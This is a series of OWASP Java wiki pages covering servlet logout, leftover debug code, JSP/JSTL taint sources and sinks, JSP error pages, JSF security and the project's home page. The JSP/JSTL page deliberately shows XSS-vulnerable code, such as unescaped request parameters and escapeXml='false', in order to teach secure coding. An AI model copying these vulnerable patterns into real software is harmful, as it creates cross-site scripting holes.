* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse
* response)
*/
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
/*
* First step : Invalidate user session
*/
HttpSession session = request.getSession(false);
if (session != null) {
session.invalidate();
}

/*
* Second step : Invalidate all cookies by, for each cookie received,
* overwriting value and instructing browser to deletes it
*/
Cookie[] cookies = request.getCookies();
if (cookies != null && cookies.length > 0) {
for (Cookie cookie : cookies) {
cookie.setValue("-");
cookie.setMaxAge(0);
response.addCookie(cookie);
}
}

}

}
</pre>

[[Category:Java]]

Leftover Debug Code

2017-11-10T11:47:53Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{Template:Vulnerability}}
{{Template:Fortify}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==

Debug code can create unintended entry points in a deployed web application.

A common development practice is to add "back door" code specifically designed for debugging or testing purposes that is not intended to be shipped or deployed with the application. When this sort of debug code is accidentally left in the application, the application is open to unintended modes of interaction. These back door entry points create security risks because they are not considered during design or testing and fall outside of the expected operating conditions of the application.

==Risk Factors==

TBD

==Examples==

The most common example of forgotten debug code is a main() method appearing in a web application. Although this is an acceptable practice during product development, classes that are part of a production J2EE application should not define a main().

==Related [[Attacks]]==

* [[Attack 1]]
* [[Attack 2]]

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

* [[Control 1]]
* [[Control 2]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==

* [[Use encapsulation]]

[[Category:FIXME|add links

In addition, one should classify vulnerability based on the following subcategories: Ex:<nowiki>[[Category:Error Handling Vulnerability]]</nowiki>

Availability Vulnerability

Authorization Vulnerability

Authentication Vulnerability

Concurrency Vulnerability

Configuration Vulnerability

Cryptographic Vulnerability

Encoding Vulnerability

Error Handling Vulnerability

Input Validation Vulnerability

Logging and Auditing Vulnerability

Session Management Vulnerability]]

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Code Quality Vulnerability]]
[[Category:Implementation]]
[[Category:Java]]
[[Category:Vulnerability]]

JSP JSTL

2017-11-10T11:47:48Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

{{taggedDocument
| type=old
| lastRevision=3/11/08
| comment=This page needs to be updated.
}}

== Status ==
Finished 3/11/08 - in need of review.

== Brief Overview of JSP Architecture ==

JSPs are delivered to a container that provides services like life-cycle management and runtime support.
A JSP gets translated to a servlet class which is instantiated at runtime.
A request headed for a particular JSP will be directed by the container to its corresponding servlet class (aka jsp implementation object).
It then handles requests and generates responses.
The default request response objects are HttpServletRequest and HttpServletResponse.
JSP makes use of implicit objects that can be considered taint sources, sinks and propagators.
I won't discuss further details since that is outside the scope of this project. For further information try this
[http://download.oracle.com/docs/cd/A97336_01/buslog.102/a83726/genlovw1.htm reference guide].

== JSP In Light of Security ==

There’s not much to say here except that JSPs can act as both a model and view. It can operate fairly well without a distinct service or business layer because it doesn’t quite enforce separation of logic and concerns (hence the advent of development frameworks).

I won’t discuss details of web app design here, but one should understand that lack of separation can have negative effects on web-app stability and security. But even so, lack of input validation can lead to easy security vulns in JSP, namely XSS.

Commonly, JavaBeans are used in conjunction with JSP to store parameters and implement business logic. Most of my examples will use beans to demonstrate taint propagation and proper cleansing.

For more data on design with JSP and servlets, see this [http://java.sun.com/developer/technicalArticles/javaserverpages/servlets_jsp/ best practices] article

== JSP Standard Actions ==

=== Propagators ===
'''<jsp:usebean>'''<br>
* Makes a Java Bean available to the rest of the page by instantiating the object and binding it to a variable.
* Once you have that you can modify and access it using the jsp setProperty and getProperty tags.
* You can also call methods on it in scriptlets.
<pre>
<jsp:useBean id="user" class="SessionBeans.UserSessionBean" scope="session"/>
<%=user.getStrParam%>
</pre>

'''<jsp:setProperty>'''<br>
* Sets one or more bean property values in a bean defined by <jsp:usebean>.
''Different ways to set bean properties with request parameters and supplied values''
<pre>
<%--set all bean properties with matching request parameters--%>
<jsp:setProperty name="user" property="*"/>

<%--set one property with matching request parameter--%>
<jsp:setProperty name="user" property="strParam"/>

<%--set one property with supplied value--%>
<jsp:setProperty name="user" property="strParam" value="blah" />
</pre>

=== Sinks ===
'''<jsp:getProperty>'''<br>
* Gets a value from a bean object and writes to the page.

'''<jsp:include>'''<br>
Displays contents of another page within current. Only a problem if included page contains xss.

=== Example: Using standard actions to produce xss. ===
''Set the bean properties with request parameters on one page.''
<pre>
<jsp:useBean id="user" class="SessionBeans.UserSessionBean" scope="session"/>
<jsp:setProperty name="user" property="*"/>
</pre>
''Later on another page...''
<pre>
<jsp:useBean id="user" class="SessionBeans.UserSessionBean" scope="session"/>
<jsp:getProperty name="user" property="strParam"/>
</pre>

== JSP Implicit Objects ==
There are a handful of objects made available in JSPs which are susceptible to security flaws. Their corresponding java class functions are used as is in scriptlets. All the same security rules should apply.
{| class="wikitable"
|-
! Implicit Object
! Java Class
! Relevant Functions
|-
| request
| javax.servlet.ServletRequest
| getParameter(String parametername)
getParameterValues()

getParameterMap()
|-
| session
| javax.servlet.http.HttpSession
| setAttribute(String name, Object value)
getAttribute(String name)
removeAttribute(String name)
|-
| out
| javax.servlet.jsp.JspWriter
| print(char[] s)
print(java.lang.String s)

println(java.lang.String x)

println(char[] x)
|}
Examples:<br>
saveinfo.jsp
<pre>
<%
String name = request.getParameter("username");
session.setAttribute("taintedAttribute", name);
%>
</pre>
displayinfo.jsp
<pre>
my xss varible: <%=session.getAttribute(name)%>
</pre>

== Unified EL ==
Unified EL is a feature of JSP 2.1 it is a union of JSP 2.0 and JSF expression languages. Expressions enclosed in ${…} are immediately evaluated and printed to the page. Expressions consist of EL implicit objects and bean names defined with jsp:usebean. <br>
All EL implicit objects are propagators that can be sunk for XSS as an expression.
* param
* paramValues
* header
* headerValues
* cookie?

The examples for each implicit object demonstrates xss.<br>

'''param'''
* References a request parameter by name.
* Equivalent to request.getParameter(“asdf”);
<pre>
Welcome ${param.userName}!
</pre>

'''paramValues'''
* A String[] of parameter values.
* Equivalent to request.getParameterValues().
''Using JSTL tags for this example.''
<pre>
<c:forEach var='parameter' items='${paramValues}'>
<c:out value='${parameter.key}'/> =
<c:forEach var='value' items='${parameter.value}'>
<c:out value='${value}' escapeXml="false"/><br>
</c:forEach>
</c:forEach><br>
</pre>

'''header'''
* Maps a request header name to a single value.
* Equivalent to request.getHeader.
<pre>
${header.cookie}
</pre>

'''headerValues'''
* A String[] array of header values.
* The following example is the same as above.
<pre>
<c:forEach var="head" items="${headerValues}">
<c:out value="${head.key}" /> =
<c:forEach var="val" items="${head.value}">
<c:out escapeXml="false" value="${val}" /><br>
</c:forEach>
</c:forEach><br>
</pre>

'''cookie'''

Not sure if there's anything juicy here...

'''pageScope'''
* Maps page-scoped variable names to their values.
The following example uses the JSTL <c:set> tag so you know where the tainted variable comes from, I’ll cover c:set details in JSTL core section.
<pre>
<c:set var="PageScopeVar" value="${param.fwd_last}" scope="page"/>
${pageScope.PageScopeVar}
</pre>

'''requestScope'''
* Maps request-scoped variable names to their values.
* Looks exactly the same as pageScope.
<pre>
<c:set var="ReqScopeVar" value="${param.fwd_last}" scope="request"/>
${requestScope.ReqScopeVar}
</pre>

'''sessionScope'''
* Maps session-scoped variable names to their values.
* You can create a session variable with c:set as above OR you can use session.setAttribute.
<pre>
<%session.setAttribute("sa_first", request.getParameter("first")); %>
${sessionScope.sa_first }
</pre>

'''applicationScope'''
* Maps application-scoped variable names to their values.
<pre>
<c:set var="scopeVar" value="${param.addr}" scope="application"/>
${applicationScope.scopeVar }
</pre>

[[Category:FIXME| the page linked below is marked for deletion:
See also http://www.owasp.org/index.php/J2EE_Bad_Practices:_JSP_Expressions J2EE Bad Practices: JSP Expressions]]

== JSTL Tags ==
* There are 5 tag libraries in JSTL: core, sql, fmt, xml.
* This section will cover core and sql tags.

=== Sinks ===

'''<c:out>'''<br>
*Like <%= ... >, but for expressions.
*Has a boolean attribute escapeXml that converts <,>,&,'," to their corresponding entities. Defaults to true so it's really not an issue unless explicitly set to be false.
<pre>
<c:out escapeXml="false" value="${param.first}"/>
</pre>
'''<c:redirect>'''<br>
Possibly susceptible to splitting?
<pre>
<c:redirect url="/include.jsp?lang=${param.first}"/>
</pre>

=== Propagators ===

'''<c:url>'''<br>
*Used to construct a string url.
A contrived example.
<pre>
<c:url var="url2" value="/account.jsp?lang=${param.username}"/>
<a href='${url2}'>yes this is dumb</a>
</pre>

'''<c:import>'''<br>
* Imports the contents of a page, only a vuln if included page has a vuln. (only tested with xss)
<pre>
<c:import url="/include.jsp"/>
</pre>
'''<c:param>'''<br>
<pre>
<c:url var="url1" value="/include.jsp?lang=">
<c:param name="someParameter" value="${param.last}"/>
</c:url>
<a href='<c:out value="${url1}"/>'>Link back to some page (<c:out value="${url}"/>)</a>
</pre>
'''<c:set >'''<br>
*Sets a variable to a value.
*Can have page, application, request, or session scope.
*Can be retrieved through use of scope objects or just by referencing the “var” in an expression.
<pre>
<c:set var="appScopeVar" value="${param.addr}" scope="application"/>
${appScopeVar}
</pre>
== Cleansers ==

== JSTL Functions ==

=== Cleansers ===

'''fn:escapeXml''' <br>
* & < > “ ‘  &amp &lt &gt &#034 &#039
<pre>
${fn:escapeXml(taint) }
</pre>

'''fn:replace''' <br>
*Potential cleanser if used correctly
*${fn:replace(taint, "<", "&lt")} replaces all “<” with “&lt”
<pre>
${fn:replace(taint,"<","HAH") }
</pre>

[[Category:Java]]

JSP errorPage

2017-11-10T11:47:43Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

==Status==

Released on (mm/dd/yyyy) : 02/07/2012

==Description==

JEE Java Server Page (JSP) provides mechanism to specify, in a JSP, the error page to redirect if a Java exception
occur.

==Configuration==
The configuration have 2 steps:
* The definition of the page in charge of managing error.
* The specification of the redirection into the page where the Java exception can occur.

===Step 1 : Definition of the page in charge of managing error===
This page is a normal JSP but we specify the page attribute "isErrorPage" to "true" value ("false" is the default value).
This flag indicate to server that the page is in charge of managing exception, thus, the server made available the source
exception through the "exception" implicit object.
<pre>
<?xml version="1.0" encoding="ISO-8859-1" ?>
<%@ page language="java"
contentType="text/html; charset=ISO-8859-1"
pageEncoding="ISO-8859-1"

isErrorPage="true"
%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<%-- Log error on server side --%>
<%
//When the page attribute "isErrorPage" is set to "true" the exception object is available
System.err.println("Error : " + exception.getMessage());
%>

<%-- Display generic error to client --%>
<b>An error occur !</b>
</body>
</html>
</pre>

===Step 2 : Specification of the redirection into the page where the Java exception can occur===
Into the risky JSP, we specify the page attribute "errorPage" to the page in charge of managing error.
<pre>
<?xml version="1.0" encoding="ISO-8859-1" ?>
<%@ page language="java"
contentType="text/html; charset=ISO-8859-1"
pageEncoding="ISO-8859-1"

errorPage="errorManagement.jsp"
%>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<body>
<%
//Sample code to generate an exception...
if(request.getParameter("e") != null) {
throw new ServletException("Explicit error !!!");
}
%>
</body>
</html>
</pre>

==Best practice==
In order to don't miss any server error, it's preferable to configure error handling at [[Servlet spec - web.xml|web deployment descriptor]] level. Configuration into JSP must be reserved to specific case.

[[Category:Java]]

Java Server Faces

2017-11-10T11:47:34Z

Imifos: Moved page into the right category. See Java space page for me details. Content has not been reviewed in this edit.

==Status==
Under review 10/3/2008

==Web security.. before you start ==

This document is about security in web applications developed using the Java Server Faces (JSF) framework. The reader should be aware of the meaning of common terms of both JSF (converters, validators, managed beans) and web security (injection etc.)

==JSF Standards and roles==
JavaServer Faces (JSF) is a Java-based Web application framework that implements the Model-View-Controller pattern and simplifies the development of web interfaces for Java EE applications.

In a standard MVC JSF are meant to provide the V (of view) and part of the C (of Control). JSF components can present almost any basic interface model. The framework also provides part of the Control layer including:
* Navigation Handling
* Error Handling
* Action and event Management
* Input validation
* Value conversion
These elements are defined by the JSF standard (JCP 127) so that any attacker will have knowledge of the architecture and life cycle of a JSF based application. JSF does not implement its own security model but instead relies on standard JEE security. This means that both application server security model, JAAS or other ACL implementations can be used with the JSF framework without any integration effort. But Access Control is just one part of security - all aspects should be implemented in a secure manner in order to consider the application itself secure.

==Client-side state saving==
A JSF application can save the state of its components in the client response or on the server. Saving state on the client may be required because some users turn off cookies support, but it can increase response times when connections are slow. Saving state on the server may have the disadvantage of high memory consumption for the user, but it does minimize bandwidth requirements.
Since client-side state saving stores data in the client , it should be used wisely, or not used at all. An attacker that can manipulate a user's data could manage a data tampering or worst, a privilege escalation exploit. Unencrypted data is quite easy to manipulate and most of the client-side saved data are serialized Java objects which can contain a wealth of sensitive data. If you plan to use client-side state saving carefully consider which information you decide to store in the POJO/DTO in order to minimise these risks.
==Components==
===Converters===
Converter could be a source of threat since it converts string in Java objects. An attacker could inject malicious code or tampered data to make the converter itself misbehave and expose protected data. The converter system is not insecure by itself, but conversion, since it is a security touch point for business logic and persistent data, should be handled carefully. Input should '''always''' be validated '''after''' being converted. In JSF lingo you should '''always''' have a validator if a conversion occurs. See next section on how to implement a security aware validator.

===Validators===
Validation is your chance to verify that the input is as expected. This means that the input should be validated both from a domain view and from a security view. If input represents a string that in your domain should be from 10 to 254 characters long, the same string should be validated also to prevent SQL Injection and XSS attacks. Since many security checks are done using dictionary algorithms it's useful to have a validator that implements those checks and extends it to implement your domain validator.
For example:

public class TenToHundredsValidator extends SecureValidator() {
public void validate(...) {

super.validate(...); // Do security checks

domainvalidate(....);
}
}

===ManagedBeans===
Managed beans are the gears of JSF based application. Developers can access FacesContext statically and this is potentially dangerous. This is a common short cut for everything in the JSF layer, but manipulating this data could be harmful. Relying on security principals, and software engineering, is always a good approach.
Calls such as:
FacesContext.getCurrentInstance().getExternalContext().getRequestParameter("name")
are dangerous because the whole validation stack is bypassed. You can read parameters but consider them as tainted input. Use Validators described above also if you are not in the validation phase . Validators are also an effective way to refactor your validation code and to prevent code repetition.
FacesContext also allows access to user principal data; this data could be used to verify if the current user can actually execute the business logic in the managed Bean.
This practice should be adopted in favour of rendering or not the commandLinks that lead to the action of the managed Bean. A structured adoption of an execution based security framework , such as ACEGI (see the Appendix), could be a good enforcement of the security of the managed bean.
===Custom components===
If the use of custom components is required in the application, the security depends on how the components are developed. Third party components should be delivered with a security report and support from the specific vendor or community.
If you develop custom components you should be aware of the same old security issues of web development:
* Do not trust request parameter
* Do not trust cookies
* Always consider that session could be hijacked
Since the component tree is assembled server side it can be trusted so if your custom component needs to read data from a sibling component it should be considered a safe operation although you will have to make assumptions on element names of the tree.

==Implementations==
Since more than one JSF Implementation exists, bugs of the implementation should be first on the security list.

===MyFaces===
There aren't major or critical security bugs registered in the current stable release of MyFaces (1.1.5). Client state saving is still the weak point and should be used wisely. My Faces comes also with a Security Extension (http://wiki.apache.org/myfaces/SecurityContext) that allows to safely and easily retrieve authenticated user details.

The MyFaces resource filter could be a source of threat. It is designed to expose resources from a jar file and could therefore, be considered, potentially dangerous. Note there aren't any claimed security flaws nor exploits in the resource filter, but the nature of this component makes it a good target for attackers. Since all it has to do is serve data it is recommended that a dispatcher be added to the filter mapping element. This should lower the possibility of an attacker successfully manipulating the server request.
For more information see: http://myfaces.apache.org/tomahawk/extensionsFilter.html

There is also an easy way to enable encryption when using ''client save state''

<context-param>
<param-name>org.apache.myfaces.secret</param-name>
<param-value>NzY1NDMyMTA=</param-value>
</context-param>

Supported encryption methods are BlowFish, 3DES, AES and are definde bya a context parameter

<context-param>
<param-name>org.apache.myfaces.algorithm</param-name>
<param-value>Blowfish</param-value>
</context-param>

You can find more info at http://wiki.apache.org/myfaces/Secure_Your_Application

===SUN Reference Implementation===
Quoting from the documentation:
''There are several ways for a web application to store session state on the client tier. One possible solution is to use Cookies to store the state on the client. However, cookies have limitations in size and are not ideal in cases where you want to store session state on the client. The state that needs to be stored on the client is first serialized into a byte array. This byte array is then encrypted using industrial-strength 3DES with cipher-block-chaining (CBC) and an initialization vector. To make the content tamper-resistant, we then create a message authentication code (using SHA1 algorithm) from the encrypted content and the initialization vector. The initialization vector, the message authentication code, and the encrypted content is then combined in a single byte array. Finally, this resulting byte array is converted into a base64 string which is stored in a hidden FORM field on the client.
This solution is secure because it uses a strong crypto algorithm and also uses a MAC for tamper-resistance. We also generate all the random numbers (for example, to generate the initialization vectors and the password) using the cryptographically-secure SecureRandom class. Note that the encryption keys are NEVER sent to the client or sent on the wire. These keys are used only on the server-side to encrypt and decrypt the state. One challenge is to decide what encryption keys to use. The encryption keys should not be known to the client, but still be associated with the client. We solve this problem by generating these keys from a password that is generated randomly and stored in the HttpSession. This strategy for key generation through password is pluggable in our solution and can be changed if needed.''

===ICE Faces===

Starting from the idea that AJAX on Its Own Doesn't Corrupt Web Security ICE faces implements a component suite with ajax support by maintainig a continuous sync between the dom sent to the browser and a dom representation on the server. javascript is used to send commands to the server and invoke the logic in the java layer. Since dom model and javascript is involved a Javascript debugging tool with value injection or dom injection capability could be of some use in pick locking the app.

As stated in ICEFaces manual " the client is untrusted, SO DON'T TRUST IT!!" : it means that is up to the application designer to implement a robust security logic behind the scenes.
In another point of view the developer could focus on implementing server side security since with the server-side-dom architecture the thin client is even thinner.

The component that refresh the two dom , called IntervalRenderer, uses a persistent ServletRequest stored on the server. Unfortunately, this request does not contain sufficient information to perform the isUserInRole() check.
This kind of check is possible only on stadar render request phase.

To address this, a small amount of integration will be required either between ICEfaces and acegi-security or ICEfaces and the application server. Acegi-security (see appendix one ) is likely preferable as it will be more portable.

==Apendix I==

===ACEGI Integration===

Acegi Security is a powerful, flexible security solution for enterprise software, with a particular emphasis on applications that use Spring. If used in combination with jsf, the managed beans could become more "security aware" since acegi do not only perform authentication but also authorization in business layer. Acegi is a convenient way to manage security in all the layers of our application. This is a valuable thing especially when authorization is strongly coupled with business logic (approval work flows etc).

In order to use a custom JSF-Acegi login we have to provide a valid Security Context (''userName'' and ''password'' are properties of the managed bean)

UsernamePasswordAuthenticationToken authReq = new UsernamePasswordAuthenticationToken(userName, password);
Authentication auth = getAuthenticationManager().authenticate(authReq);
SecurityContext secCtx = SecurityContextHolder.getContext();
secCtx.setAuthentication(auth);

We can override the standard ACEGI navigation with custom, logic driven, navigation reading security context and routing the outcome.

More information can be found at here [http://www.javakaffee.de/blog/2006/07/04/jsfacegi-authentication-with-a-backing-bean/]

ACEGI can be integrated also in the rendering via custom components [http://cagataycivici.wordpress.com/2006/01/19/acegi_jsf_components_hit_the/] which basically wrap the standard ACEGI tag library in JSF components. This conveniently solve the ''stage zero'' of profiling: display or not a widget in the page.

Including a JSF based form for login in a page could be a little tricky, bu using MyFaces tomahawk components it can be done easely.

The form will look like

<%@ taglib uri="http://myfaces.apache.org/tomahawk" prefix="t"%>
<t:inputText id="j_username" forceId="true" value="#{backingBean.customerId}" size="40" maxlength="80"></t:inputText>
<t:inputSecret id="j_password" forceId="true" value="#{backingBean.password}" size="40" maxlength="80" redisplay="true"></t:inputSecret>
<h:commandButton action="login" value="#{messages.page_signon}"/>
<h:messages id="messages" layout="table" globalOnly="true" showSummary="true" showDetail="false"/>

A navigation rule to follow ACEGI requirements

<navigation-rule>
<from-view-id>/login.jsp</from-view-id>
<navigation-case>
<from-outcome>login</from-outcome>
<to-view-id>/j_acegi_security_check.jsp</to-view-id>
</navigation-case>
</navigation-rule>

And finaly ACEGI is told which page do the login

<bean id="formAuthenticationProcessingFilter" class="org.acegisecurity.ui.webapp.AuthenticationProcessingFilter">
<property name="filterProcessesUrl">
<value>/j_acegi_security_check.jsp</value>
</property>
<property name="authenticationFailureUrl">
<value>/login.faces</value>
</property>
...

[[Category:Java]]

User:Imifos

2017-11-10T10:53:46Z

Imifos: Added content to identify myself as I'm doing edits on the Java/Programming language topics

Natasha CARL

https://twitter.com/imifos

https://blog.carl.pro/

Category:Java

2017-11-10T10:49:30Z

Imifos: Removed mention of an inactive effort.

= Main =
{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |

== About ==

The OWASP Java™ and JVM Technology Knowledge Base is the clearing house for all information related to building secure web/distributed applications and services based on Java and JVM technologies. The focus of these pages is on guidance for developers and architects using Java frameworks and JVM based technologies for web application development, on OWASP components that use Java and on participation in OWASP projects that use Java and JVM technologies. Moreover, we aim to provide security related guidance for system administrators managing Java and JVM based applications and tools.

The project is not limited to Java. It aims to also address topics around the JVM in general.

Community content is key to security information. The project depends on content from developers throughout the Java and JVM ecosystem.

==Purpose==

* Provide deep, rich guidance for Java developers in using the security features of Java and of Java frameworks.
* Address security in relation to the Java Virtual Machine and derived technologies.
* Guide system administrators in managing Java and JVM related components and applications.
* Create guidance for use of OWASP components that are designed for use with Java or other JVM languages.
* Focus on information about working with and on OWASP tools built using Java or other JVM technologies.
* Provide a stream of security related information, like vulnerabilities and security patches, related to the Java and JVM universe.
* Build an ecosystem allowing to all actors interested to discuss, share and learn.

== Licensing ==

OWASP Java™ and JVM Technology Knowledge Base is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

Oracle® and Java™ are [http://www.oracle.com/us/legal/trademarks/index.html|registered trademarks of Oracle] and/or its affiliates. Other names may be trademarks of their respective owners.

== What's Hot! ==

See the "Tasks and Roadmap" tab for more information.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

[[File:OWASP_Java_Wiki_logo.png|frame]]

<br/>

== Meta ==

Last Update: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

<br/>

== Other Resources ==

[http://lists.owasp.org/mailman/listinfo/java-project Mailing List]

[https://github.com/owasp GitHub (OWASP)]

<br/>

== Related Projects ==

* [[OWASP_Project|OWASP Project Repository]]
* [[Language|Languages Repository]]
* [[OWASP_.NET_Project|.NET Project]]
* [[Ruby|Ruby]]
* [[PHP|PHP]]
* [[Perl|Perl]]
* [[Python|Python]]
* [[JavaScript|JavaScript]]
* [[C/C++|C/C++]]
* [[SQL|SQL, PL/SQL, DB Scripting]]
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]

|}

= Related OWASP Projects =

== Security Tools ==

{| width="100%"
| colspan="2" | [[OWASP_Dependency_Check|OWASP Dependency Check]]
|-
| width="20" |  
| Dependency-Check is a utility that identifies project dependencies and checks if there are any known, publicly disclosed, vulnerabilities. Currently <b>Java</b>, .NET, Ruby, Node.js, and Python projects are supported.
|-
| colspan="2" | [[OWASP_SonarQube_Project|OWASP SonarQube Project]]
|-
| width="20" |  
| The first goal of the OWASP SonarQube Project is to a create a referential of check specifications targeting OWASP vulnerabilities that can be detected by SAST tools (Static Application Security Testing). From there, the second goal is to provide a reference implementations of most of those checks in the Open Source SonarQube language analyzers (<b>Java</b>, JavaScript, PHP and C#). SonarQube is an Open Source platform for managing code quality.
|}

== Secure Coding Libraries ==

{| width="100%"
|-
| colspan="2" | [[OWASP_AppSensor_Project|OWASP AppSensor]]
|-
| width="20" |  
| The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into applications.
|-
| colspan="2" | [[CSRFGuard|OWASP CSRFGuard]]
|-
| width="20" |  
| CSRFGuard is a Java library that implements a variant of the synchronizer token pattern to mitigate the risk of Cross-Site Request Forgery (CSRF) attacks.
|-
| colspan="2" | [[OWASP_Java_Encoder_Project|OWASP Java Encoder Project]]
|-
| width="20" |  
| The OWASP Java Encoder is a Java 1.5+ simple-to-use drop-in high-performance encoder class with no dependencies and little baggage. This project will help Java web developers defend against Cross Site Scripting.
|-
| colspan="2" | [[OWASP_Java_HTML_Sanitizer|OWASP Java HTML Sanitizer]]
|-
| width="20" |  
| The OWASP HTML Sanitizer is a fast and easy to configure HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.
|-
| colspan="2" | [[OWASP_Security_Logging_Project|OWASP Security Logging Project]]
|-
| width="20" |  
| The OWASP Security Logging project provides developers and ops personnel with APIs for logging security-related events. The aim is to let developers use the same set of logging APIs they are already familiar with from over a decade of experience with Log4J and its successors, while also adding powerful security features.
|-
| colspan="2" | [[OWASP_ESAPI|OWASP Enterprise Security API (ESAPI)]]
|-
| width="20" |  
| ESAPI (The OWASP Enterprise Security API) for Java is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. This project has seen major updates as recently as February 2016.
|}

== General Documents ==

{| width="100%"
| [[OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide|OWASP Secure Coding Practices - Quick Reference Guide]]
| [[OWASP_Codes_of_Conduct|OWASP Codes of Conduct]]
| [[Cheat_Sheets|OWASP Cheat Sheets Series]]
|-
| [[OWASP_Testing_Project|OWASP Testing Project]]
| [[OWASP_Top_Ten_Project|OWASP Web Top 10]]
| [[OWASP_Vulnerable_Web_Applications_Directory_Project|OWASP Vulnerable Web Applications Directory]]
|}

= Related 3rd Party Projects =

A list of third party (i.e. not part of Java SE or EE) security frameworks. This page contains a list of Java security libraries and frameworks and indicates which security features each library supports.

==Enterprise==
* [http://shiro.apache.org/ Apache Shiro] is a Java security framework that performs authentication, authorization, cryptography, and session management.
* [http://projects.spring.io/spring-security/ Spring Security] provides security services for Java EE-based enterprise software applications. Services include authentication, authorization and protection against attacks like session fixation, clickjacking and cross site request forgery.
* [http://www.hdiv.org/ HDIV] A web application security framework that provides a number of functions.

== Access Control (Authentication and Authorization) ==
* [http://oaccframework.org/ OACC] is an application security framework for Java designed for fine grained (object level) access control. OACC uses the abstraction of a ''resource'' for the application objects being secured. This key abstraction enables OACC to provide a rich API that includes grant, revoke and query capabilities for storing and managing the application's security relationships.
* [http://picketlink.org/appsecurity/ PicketLink] provides authentication, single sign on, permission based access control and other security features.

== Encryption ==
* [https://github.com/google/keyczar Keyczar] is an open source cryptographic toolkit designed to make it easier and safer for developers to use cryptography in their applications. Keyczar supports authentication and encryption with both symmetric and asymmetric keys.
* [http://www.bouncycastle.org/ Bouncycastle] is a lightweight Java cryptography API <i>provider</i>.
* [http://www.jasypt.org/ Jasypt] is a Java library which allows the developer to add basic encryption capabilities to his/her projects with minimum effort, and without the need of having deep knowledge on how cryptography works.

== XML Security ==
* The [http://santuario.apache.org/ Apache Santuario] project is aimed at providing implementation of the primary security standards for XML: XML-Signature Syntax and Processing and XML Encryption Syntax and Processing.

== Validation ==
* [http://www.sapia-oss.org/projects/vlad/home.html Vlad] stands for "validation". This projects indeed aims at offering a simple, high-level, extensible, generic validation framework that can easily be integrated into existing applications.
* [https://www.owasp.org/index.php/Protect_FileUpload_Against_Malicious_File This OWASP article] and [https://github.com/righettod/document-upload-protection code snippet] proposes a way to protect a file upload feature against submission of files that may contain malicious code.
* [http://commons.apache.org/proper/commons-validator/ The Apache Common's validator] can be used to perform validation.

= Resources =

== Mailing List ==

[http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Technologies Mailing List]

== Code Repository ==

[https://github.com/owasp GitHub OWASP Global Repository]

== Related Project Resources ==

[[OWASP_Project|OWASP Project Repository]]

[[Language|Languages Repository]]

[[OWASP_.NET_Project|.NET Project]]

[[Ruby|Ruby Technology Knowledge Base]]

[[PHP|PHP Technology Knowledge Base]]

[[Perl|Perl Technology Knowledge Base]]

[[Python|Python Technology Knowledge Base]]

[[JavaScript|JavaScript Technology Knowledge Base]]

[[C/C++|C/C++ Technology Knowledge Base]]

[[SQL|SQL, PL/SQL and DB Scripting Technology Knowledge Base]]

[[OWASP_Internet_of_Things_Project|OWASP IoT Security Project]]

[[OWASP_Mobile_Security_Project|OWASP Mobile Security Project]]

= Tasks and Roadmap =

== Roadmap ==

* Build Java and JVM security related net resources guide
* The OWASP Java and JVM Technology Knowledge Base is principally about creating deep, rich guidance for Java and JVM developers using all kind of security resources. The idea is to have an effort of building a internet resource guide for everything around the JVM universe. Information, blogs, articles, tools, test servers and more. Important however is that this list is seriously curated.
* Concrete guideline for Java and JVM developers
* Clear checklists, around various topics, language, servers and frameworks.

<br/>

= Get involved =

The first step would be to establish contact with the project leaders and/or the entire team. This can be done using a direct and private message, or by joining the public mailing list to say hello.

When it comes to participating in project activities, everything depends on the time you are willing and able to invest. It is however very important to not jump into too many things at the beginning, later having to back out or to let unfinished things behind you. It is much better to start with small tasks, increasing intensity and investment over time.

Please also be patient with expecting the "merge" of your work into the existing project pages and code. As everywhere in live, trust has to be built-up.

The Java and JVM knowledge base has currently multiple tasks open, which can be found on the adequate section of this page. Not all tasks require a wiki account. Please take something you are interested in and start participating. Work load is not the only outcome when participating in open projects. You are getting a lot of things back: recognition, satisfaction, knowledge and contacts, sometime friends.

Sounds cool? Then jump in...

To get involved join the mailing list, follow this link: [http://lists.owasp.org/mailman/listinfo/java-project OWASP Java and JVM Mailing List]

= Archives =

The previous version of this JAVA Project home page is archived here: [[OWASP Java Project Archive (8.2010)]]

<br/>

<hr/>

__NOTOC__
<headertabs />

<br/>

'''IMPORTANT: all pages of these project are currently under review. A lot are outdated and are in the process of being removed or updated.'''

